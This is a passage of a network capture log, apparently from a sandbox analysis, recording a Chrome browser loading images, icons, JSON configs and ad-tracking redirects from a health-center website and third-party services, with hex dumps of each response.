2024-04-24 12:44:28 UTC	2133	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 34 2e 37 33 38 34 20 36 39 2e 34 37 36 38 43 35 33 2e 39 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M34.7384 69.4768C53.9239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49851	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	545	OUT	GET /wp-content/uploads/2020/07/icon__service_4.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:29 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:29 GMT Content-Type: image/svg+xml Content-Length: 1536 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-600" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:29 UTC	1536	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 2e 34 37 36 38 20 36 39 2e 39 37 36 38 20 35 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49852	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	545	OUT	GET /wp-content/uploads/2020/07/icon__service_1.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:29 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:29 GMT Content-Type: image/svg+xml Content-Length: 2326 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:44 GMT Vary: Accept-Encoding ETag: "64f5a130-916" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:29 UTC	2326	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49840	104.22.1.204	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	573	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:29 UTC	873	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:29 GMT Content-Type: application/json Content-Length: 212 Connection: close x-guploader-uploadid: ABPtcPpRe3naPPdBRm_QG7UC7zqTBDjY12eaNApiQRNSoksMvXjAphqBtOF5fx2anRLbulFCt4E x-goog-generation: 1713916803534148 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Thu, 24 Apr 2025 12:44:29 GMT Cache-Control: no-cache last-modified: Wed, 24 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 87962f598e210ad5-LAS
2024-04-24 12:44:29 UTC	212	IN	Data Raw: 5b 0a 20 20 22 6c 6f 63 61 6c 74 69 6d 65 6c 69 6e 65 2e 63 6f 6d 22 2c 0a 20 20 22 72 65 61 6c 70 61 67 65 2e 63 6f 6d 22 2c 0a 20 20 22 70 67 61 72 65 73 6f 72 74 2e 63 6f 6d 22 2c 0a 20 20 22 62 61 6d 62 61 62 61 6d 62 61 2e 63 6f 6d 22 2c 0a 20 20 22 63 73 76 74 65 73 74 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 22 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 22 2c 0a 20 20 22 64 32 68 6d 61 67 64 65 68 79 65 79 67 6d 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 22 2c 0a 20 20 22 62 72 61 6e 63 68 69 6e 67 6d 69 6e 64 73 2e 63 6f 6d 22 2c 0a 20 20 22 6d 65 64 69 63 61 74 2e 63 6f 6e 63 65 72 6e 63 65 6e 74 65 72 2e 63 6f 6d 22 0a 5d Data Ascii: [ "localtimeline.com", "realpage.com", "pgaresort.com", "bambabamba.com", "csvtesting.com", "cloudfront.net", "d2hmagdehyeygm.cloudfront.net", "branchingminds.com", "medicat.concerncenter.com"]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49860	18.154.206.40	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:31 UTC	596	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:32 UTC	1024	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 1538 Connection: close x-amz-id-2: eiGBdA2EB7YAFNqzI5ql7Tv2w6bT4DJJw85JYQdEFy7k+g11hmmXg4dlhWV0VME/K9oduv88/7Q= x-amz-request-id: DFW2F3XEASX244DC Date: Wed, 24 Apr 2024 12:44:33 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT ETag: "6aba559afcf8291c518df6fa4c481556" x-amz-server-side-encryption: AES256 Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding,Origin,Access-Control-Request-Headers,Access-Control-Request-Method Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: Miss from cloudfront Via: 1.1 1d7ed53a70523e576bff9c3bcb5eea38.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: GRQM_CWUItAkGpoPX5HDZNZ_YmQv-BT7VbsZzNdvE6iz1PYrDjUqJg==
2024-04-24 12:44:32 UTC	1538	IN	Data Raw: 7b 22 70 72 69 76 61 63 79 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 73 74 61 6e 74 63 6f 6e 74 61 63 74 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 63 75 73 74 6f 6d 65 72 2d 63 6f 6e 74 61 63 74 2d 64 61 74 61 2d 6e 6f 74 69 63 65 22 2c 22 66 69 6e 65 50 72 69 6e 74 54 65 78 74 22 3a 22 6d 61 72 6b 65 74 69 6e 67 20 65 6d 61 69 6c 73 22 2c 22 63 6f 6d 70 61 6e 79 4e 61 6d 65 22 3a 22 43 6f 6d 70 61 6e 79 20 6f 72 20 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 4e 61 6d 65 22 2c 22 70 68 79 73 69 63 61 6c 41 64 64 72 65 73 73 22 3a 7b 22 61 64 64 72 65 73 73 4c 69 6e 65 31 22 3a 22 37 37 37 20 53 20 4d 61 69 6e 20 53 74 22 2c 22 61 64 64 72 65 73 73 4c 69 6e 65 32 22 3a 22 53 75 69 74 65 20 31 30 30 22 2c 22 61 64 64 72 65 73 73 4c 69 6e 65 33 22 3a Data Ascii: {"privacyUrl":"https://www.constantcontact.com/legal/customer-contact-data-notice","finePrintText":"marketing emails","companyName":"Company or Organization Name","physicalAddress":{"addressLine1":"777 S Main St","addressLine2":"Suite 100","addressLine3":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49863	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:32 UTC	363	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:32 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:32 GMT Content-Type: application/json Content-Length: 212 Connection: close Cache-Control: no-cache expires: Thu, 24 Apr 2025 12:44:32 GMT last-modified: Fri, 19 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" x-goog-generation: 1713484803296703 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * x-guploader-uploadid: ABPtcPpjwrlODOGe_M1_3nbRujKT53UnTQcp6qu9-ak2ZbIs3clNIrK2YrRrB5Z-P2gCunlhb5cmkPsBvg CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Server: cloudflare CF-RAY: 87962f6e59000a03-LAS
2024-04-24 12:44:32 UTC	212	IN	Data Raw: 5b 0a 20 20 22 6c 6f 63 61 6c 74 69 6d 65 6c 69 6e 65 2e 63 6f 6d 22 2c 0a 20 20 22 72 65 61 6c 70 61 67 65 2e 63 6f 6d 22 2c 0a 20 20 22 70 67 61 72 65 73 6f 72 74 2e 63 6f 6d 22 2c 0a 20 20 22 62 61 6d 62 61 62 61 6d 62 61 2e 63 6f 6d 22 2c 0a 20 20 22 63 73 76 74 65 73 74 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 22 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 22 2c 0a 20 20 22 64 32 68 6d 61 67 64 65 68 79 65 79 67 6d 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 22 2c 0a 20 20 22 62 72 61 6e 63 68 69 6e 67 6d 69 6e 64 73 2e 63 6f 6d 22 2c 0a 20 20 22 6d 65 64 69 63 61 74 2e 63 6f 6e 63 65 72 6e 63 65 6e 74 65 72 2e 63 6f 6d 22 0a 5d Data Ascii: [ "localtimeline.com", "realpage.com", "pgaresort.com", "bambabamba.com", "csvtesting.com", "cloudfront.net", "d2hmagdehyeygm.cloudfront.net", "branchingminds.com", "medicat.concerncenter.com"]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49862	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:32 UTC	637	OUT	GET /wp-content/themes/vpchc/images/favicon/favicon-32x32.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:32 UTC	323	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:32 GMT Content-Type: image/png Content-Length: 2270 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-8de" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:32 UTC	2270	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 51 49 44 41 54 58 c3 ed 97 5b 6c 5c 57 15 86 bf 75 ce dc 6c 8f 2f b1 d3 f8 1a 27 be 04 37 75 d2 36 a4 49 a0 15 2d aa 93 38 05 25 45 22 6a 05 aa c4 03 08 54 41 24 43 45 81 27 84 40 88 be 50 ab 5c 55 81 54 a8 02 b4 50 35 72 d3 d6 25 43 4a 13 55 a5 50 9a b8 6e 93 d8 6e 1d db b1 63 3b 86 8c ed d8 33 9e 99 33 67 f1 70 f6 89 Data Ascii: PNGIHDR szzgAMAasRGB cHRMz&u0`:pQ<bKGDpHYsQIDATX[l\Wul/'7u6I-8%E"jTA$CE'@P\UTP5r%CJUPnnc;33gp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49864	52.223.40.198	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:32 UTC	766	OUT	GET /track/up?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:32 UTC	383	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 12:44:32 GMT Content-Length: 271 Connection: close server: Kestrel location: https://match.adsrvr.org/track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:32 UTC	271	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 52 65 64 69 72 65 63 74 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 75 70 62 2f 3f 61 64 76 3d 33 6c 36 64 37 35 38 26 72 65 66 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 76 61 6c 6c 65 79 70 72 6f 68 65 61 6c 74 68 2e 6f 72 67 25 32 46 26 75 70 69 64 3d 36 73 75 30 39 79 7a 26 75 70 76 3d 31 2e 31 2e 30 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 75 70 62 2f 3f 61 64 76 3d 33 6c 36 64 37 35 38 26 72 65 66 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 76 61 6c 6c 65 79 70 72 6f 68 65 61 6c 74 68 2e 6f 72 67 25 32 46 26 75 70 69 64 3d 36 73 75 30 39 79 7a 26 75 70 76 3d 31 2e 31 2e 30 3c 2f Data Ascii: <html><body>Redirect: <a href="https://match.adsrvr.org/track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0">https://match.adsrvr.org/track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49866	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:32 UTC	634	OUT	GET /wp-content/uploads/2020/07/img__section-1-550x550.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:33 UTC	326	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:32 GMT Content-Type: image/jpeg Content-Length: 50146 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:49 GMT ETag: "64f5a135-c3e2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:33 UTC	16058	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 02 26 02 26 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 00 07 08 ff c4 00 47 10 00 01 03 02 05 01 06 03 05 07 03 03 02 04 07 00 01 00 02 03 04 11 05 06 12 21 31 41 07 13 22 51 61 71 14 32 81 23 33 42 91 a1 15 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&&G!1A"Qaq2#3B
2024-04-24 12:44:33 UTC	16384	IN	Data Raw: 5d 26 cd 0e 06 fe a3 a2 84 80 a7 c5 db 4e 6a 65 99 97 6b 9c db 8b 6e dd b9 ba da 07 2e 4a b2 93 10 aa 8e 18 c1 6b 5b a8 8d ed c3 97 44 22 72 ce 55 d1 5a c8 27 ae 7b 9b 1b 08 8a fc ff 00 85 53 92 89 38 e0 e6 cd 1e 0d 87 88 6c 48 1e eb 8b 24 9b 3d 2c 38 e9 1a 5a 66 86 d8 59 62 d9 d9 15 c1 2a 52 00 68 2a 40 2e 1f 8c 53 e0 55 f4 b5 b3 48 1a d6 3c 72 77 b2 db 06 0c 99 5d 41 59 cf 9b 51 8f 12 b9 ba 3d 35 d9 a3 0e ad 81 95 0c ab 8c c6 f1 70 43 94 4b 14 93 a6 74 43 2c 5a b4 c8 32 67 ac 0e 84 96 3a a5 ae 7f a6 e8 f8 e4 ca 73 48 ce 63 79 a9 b8 a3 da 68 18 e2 f6 b8 10 eb 59 27 89 c7 b0 f9 53 e1 1a 3a 2c 55 d3 d1 c6 e9 76 7d 80 77 ba c9 ae 78 1a 62 cb 54 3a 39 22 8a ea 8a d3 bd ca 71 02 a6 a2 a0 ba ea 88 65 3e 31 30 6d 23 ed cd 95 47 b3 2c 9d 1e 57 30 ef 2b 49 71 e5 Data Ascii: ]&Njekn.Jk[D"rUZ'{S8lH$=,8ZfYbRh@.SUH<rw]AYQ=5pCKtC,Z2g:sHcyhY'S:,Uv}wxbT:9"qe>10m#G,W0+Iq
2024-04-24 12:44:33 UTC	16384	IN	Data Raw: 67 d4 42 52 cd 15 39 3a 8b 46 47 33 e6 2a ec c1 82 43 2e 1d 14 d0 60 34 93 1a 66 b1 a2 cd 1b 78 6f bf 5f fc ba ed d0 e0 ad 45 e6 fd 9f 27 2e b7 2a ff 00 0f b7 0f 11 46 4e 26 00 eb af a9 c7 1a 3e 72 52 62 48 cd 24 9f 34 49 0e 2e c5 85 c0 9b 22 0f 92 66 b8 0a 5b bd c2 b4 89 bb 04 f0 36 24 5e de 4a 64 5c 7e 86 97 6d 6f 98 7f 29 50 df a2 92 07 18 7c 52 77 8c 20 c5 63 a9 a7 96 9f f2 b3 8c 9c 5d fa 34 95 4d 53 ec ec 42 51 dc 5c 1f 55 59 67 c1 3a 78 3d dc 99 5c 4e 67 4d 14 14 8c 37 74 84 0b 7b af 0f 57 36 e3 1c 4b b6 7b fa 68 25 29 65 7e 8b b3 1b 69 a9 e2 a5 8f 86 36 c4 f9 9e ab d3 8c 76 41 41 7a 3c bd db e4 f2 3f 61 a9 e0 b8 e3 f3 5a c6 26 53 c8 4d f0 c2 cb f9 ab ba 47 37 ec ca 9a c9 9c f7 58 2e 4c 93 b3 bf 0c 29 11 a3 21 bd 37 58 ae 0d e4 ac 9d 87 b0 cb 59 03 Data Ascii: gBR9:FG3C.`4fxo_E'.FN&>rRbH$4I."f[6$^Jd\~mo)P\|Rw c]4MSBQ\UYg:x=\NgM7t{W6K{h%)e~i6vAAz<?aZ&SMG7X.L)!7XY
2024-04-24 12:44:33 UTC	1320	IN	Data Raw: 52 b0 12 c5 6d 80 d8 2c e5 03 48 cc 6b 1a 42 4a 05 39 13 63 1e 15 b2 47 34 98 57 b6 ed 55 56 65 17 4c 6d 3c 7f 68 12 8c 4b c9 2e 06 e2 0c 2e 69 1d 14 65 85 a1 e9 e4 93 28 65 88 83 b7 45 e6 cf 19 ea c2 60 9a f7 b3 60 7d d6 3f 1d fa 37 de d2 e0 93 1d 54 ad 03 41 2d 23 c8 f2 a1 e9 e2 fb 45 47 53 28 f4 c9 f0 62 32 bc 86 bc 07 7e 8b 29 78 c8 cf f5 74 6d 1f 27 28 fe c8 96 71 58 19 60 e6 bd 9f aa f3 f3 78 cc 90 eb 93 bb 17 92 c5 35 cf 01 e1 ad a5 9d e3 ed c0 f2 5c 73 c1 38 f6 8e d8 67 c7 27 d9 20 47 4e 0d c4 81 62 e3 2f a3 55 b7 ec 79 a7 88 38 39 b2 02 7d d6 74 fe 8a e0 63 a1 8e e7 7f 5d 8a 39 0a 43 4b 19 b0 16 37 f5 49 a6 1c 7a 10 c2 cb ec d0 36 e9 d5 2b 06 89 58 46 12 6b b1 5a 3a 46 f8 8c f3 35 96 1e 57 